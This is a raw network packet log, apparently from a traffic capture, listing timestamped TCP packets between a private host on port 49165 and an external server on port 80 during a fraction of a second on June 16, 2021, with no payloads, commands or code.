Jun 16, 2021 12:14:32.392009020 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392019987 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392026901 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392036915 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392044067 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392054081 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392060995 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392071962 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392081022 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392088890 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392096996 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392110109 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392113924 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392128944 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392137051 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392147064 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392154932 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392164946 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392172098 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392183065 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392190933 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392199993 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392208099 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392219067 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392227888 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392237902 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392261028 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392275095 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392290115 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392291069 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392302036 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392304897 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392323017 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392323971 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392339945 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392342091 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392358065 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392359972 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392374992 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392381907 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392391920 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392396927 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392414093 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392414093 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392431021 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392431974 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392448902 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392450094 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392466068 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392468929 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392482042 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392486095 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392503023 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392503023 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392520905 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392520905 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392538071 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392539978 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392554998 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392558098 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392573118 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.392575979 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392591953 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392610073 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.393414021 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516362906 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516396046 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516408920 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516426086 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516443014 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516458035 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516474009 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516489983 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516509056 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516525984 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516541958 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516561031 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516576052 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516586065 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516592026 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516606092 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516608000 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516613007 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516624928 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516633034 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516644001 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516644955 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516661882 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516663074 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516678095 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516680002 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516694069 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516697884 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516709089 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516716003 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516725063 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516727924 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516741991 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516746044 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516757965 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516761065 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516772985 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516777039 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516788960 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516793966 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516809940 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516809940 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516825914 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516825914 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516841888 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516843081 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516858101 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516858101 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516871929 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516875029 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516885996 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516891003 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516902924 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516908884 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516916990 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516927004 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516942978 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516958952 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.516968012 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516973019 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516974926 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.516994953 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517163992 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517179966 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517195940 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517203093 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517211914 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517219067 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517231941 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517246962 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517285109 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517319918 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517323017 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517335892 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517355919 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517357111 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517369986 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517373085 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517386913 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517389059 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517404079 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517405987 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517417908 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517421961 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517436981 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517437935 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517453909 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517457008 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517468929 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517472982 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517487049 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517488956 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517502069 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517505884 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517522097 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517524004 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517537117 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517540932 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517553091 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517556906 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517568111 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517571926 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517584085 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517584085 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517599106 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517600060 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517616034 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517617941 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.517627954 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.517642975 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.518345118 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.529741049 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.529764891 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.529781103 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.529799938 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.529818058 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.529833078 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.529849052 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.529866934 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.529881954 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.529884100 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.529897928 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.529928923 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.529968977 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.529970884 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.529988050 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530006886 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530016899 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530023098 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530039072 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530047894 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530055046 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530071974 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530080080 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530102015 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530107975 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530137062 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530147076 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530153990 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530169964 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530180931 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530186892 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530204058 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530216932 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530220985 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530230045 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530240059 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530256033 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530266047 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530284882 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530296087 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530304909 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530323029 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530324936 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530339003 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530354977 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530369997 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530370951 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530385971 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530401945 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530405998 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530416965 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530447006 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530451059 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530472040 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530483961 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530492067 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530517101 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530525923 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530533075 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530551910 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530563116 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530570030 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530585051 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530585051 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530601978 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530613899 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530617952 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530632973 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530638933 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530648947 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530664921 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530678034 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530683994 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530700922 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530710936 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530716896 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530733109 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530744076 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530749083 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530765057 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530776024 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530781031 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530797005 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530812979 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530816078 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530833960 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530848026 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530848980 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530864954 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530879974 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530883074 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530895948 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530911922 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530925035 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530926943 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530946016 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530962944 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.530962944 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530978918 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530994892 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.530994892 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531011105 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531025887 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531030893 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531043053 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531058073 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531066895 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531078100 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531095028 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531107903 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531110048 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531131983 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531143904 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531161070 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531161070 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531177044 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531193018 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531193972 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531208038 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531224012 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531232119 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531240940 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531255960 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531284094 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531291962 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531313896 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531313896 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531331062 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531347036 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531362057 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531371117 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531389952 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531393051 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531409979 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531424046 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531425953 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531441927 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531457901 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531461000 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531476974 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531493902 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531495094 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531514883 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531527996 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531533957 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531550884 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531558990 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531568050 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531584978 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531588078 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531605005 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531610966 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531619072 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531627893 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531642914 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531646967 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531660080 CEST	80	49165	192.227.228.121	192.168.2.22
